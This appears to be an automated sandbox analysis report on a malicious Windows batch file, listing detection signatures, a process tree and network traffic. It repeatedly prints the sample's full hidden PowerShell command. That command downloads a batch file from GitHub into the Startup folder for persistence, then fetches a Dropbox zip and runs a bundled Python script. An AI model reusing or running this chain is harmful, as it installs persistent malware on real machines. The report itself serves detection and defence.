Edit tour

Windows Analysis Report
zW72x5d91l.bat

Overview

General Information

Sample name:	zW72x5d91l.bat renamed because original name is a hash value
Original sample name:	25d7e9a512fccb4b87bc53a2dd939b823513333882852f833025601e71fa0746.bat
Analysis ID:	1571738
MD5:	c72963263d76893234b3b6c6342bdbbc
SHA1:	55e01fd1eb905383222abe3a914adcde1f21558c
SHA256:	25d7e9a512fccb4b87bc53a2dd939b823513333882852f833025601e71fa0746
Tags:	batBraodouser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

AI detected suspicious sample

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Abnormal high CPU Usage

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Download - PoshModule

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2988 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\zW72x5d91l.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3348 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

python.exe (PID: 7036 cmdline: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py MD5: A7F3026E4CF239F0A24A021751D17AE2)

cmd.exe (PID: 4920 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 1604 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
zW72x5d91l.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3348	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_3348.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, CommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, CommandLine|base64offset|contains: , Image: C:\Users\Public\Document\python.exe, NewProcessName: C:\Users\Public\Document\python.exe, OriginalFileName: C:\Users\Public\Document\python.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3348, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, ProcessId: 7036, ProcessName: python.exe

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "ver", CommandLine: C:\Windows\system32\cmd.exe /c "ver", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, ParentImage: C:\Users\Public\Document\python.exe, ParentProcessId: 7036, ParentProcessName: python.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "ver", ProcessId: 4920, ProcessName: cmd.exe

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\zW72x5d91l.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3348, TargetFilename: C:\Users\Public\Document\Lib\ctypes\macholib\fetch_macholib.bat

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DesusertionIp: 34.117.59.81, DesusertionIsIpv6: false, DesusertionPort: 443, EventID: 3, Image: C:\Users\Public\Document\python.exe, Initiated: true, ProcessId: 7036, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49715

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3348, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3348, TargetFilename: C:\Users\Public\Document\python.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\zW72x5d91l.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Download - PoshModule

Source: Event Logs

Author: Florian Roth (Nextron Systems): Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 0d676b2e-7cb1-4987-84a4-79cf0a9bc2c0 Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3wamp;st=xde91yelamp;dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force Engine Version = 5.1.19041.1682 Runspace ID = bd7ca87a-cd44-4eae-af08-d4eab332f892 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 0d676b2e-7cb1-4987-84a4-79cf0a9bc2c0 Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3wamp;st=xde91yelamp;dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force Engine Version = 5.1.19041.1682 Runspace ID = bd7ca87a-cd44-4eae-af08-d4eab332f892 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\zW72x5d91l.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\zW72x5d91l.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3348, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Suricata Signatures

ETPRO MALWARE Terse Request for .bat - Likely Hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T17:05:18.910954+0100	2841189	1	A Network Trojan was detected	192.168.2.9	49706	20.233.83.145	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 88.4% probability

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\idlelib\Icons\README.txt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\idlelib\idle_test\README.txt	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\idlelib\README.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.9:49708 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.3365310965.0000022288010000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdb8 source: powershell.exe, 00000003.00000002.3412517291.00000222A213D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe, 00000009.00000000.3171280629.00007FF70EA72000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: and f.endswith(('.exe', '.pdb'))): source: powershell.exe, 00000003.00000002.3367047853.000002228C71E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3367047853.000002228C729000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000003.00000002.3365310965.0000022288010000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.pdb7 source: powershell.exe, 00000003.00000002.3412517291.00000222A213D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: if not srcfile.endswith(('.exe', '.pdb')): source: powershell.exe, 00000003.00000002.3367047853.000002228C71E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3367047853.000002228C729000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000003.00000002.3365310965.0000022288010000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2841189 - Severity 1 - ETPRO MALWARE Terse Request for .bat - Likely Hostile : 192.168.2.9:49706 -> 20.233.83.145:443

Source: global traffic	HTTP traffic detected: GET /ty9989/u/raw/main/ud.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/xgyxbty4c17yg95ziuhf5/T1.zip?rlkey=zhc1rx2g0o7knrhq4xj62yw3w&st=xde91yel&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cf6O6-mc1Oh-6LK1qMCBrbPcO27RUCmiF0EN9_8RPLhrmulU-F73oXgmVcZz6s52Yi-GpG25UcOI1c7fca8l9yXfF1bJOK85cQ10KMBYlcGDgE-1DHRidsXw1bBd6rpI09RKwpw8QJ37uO55aulU8ssP/file?dl=1 HTTP/1.1Host: uc57b921b8fb2b8f1ee6bb4aec99.dl.dropboxusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18
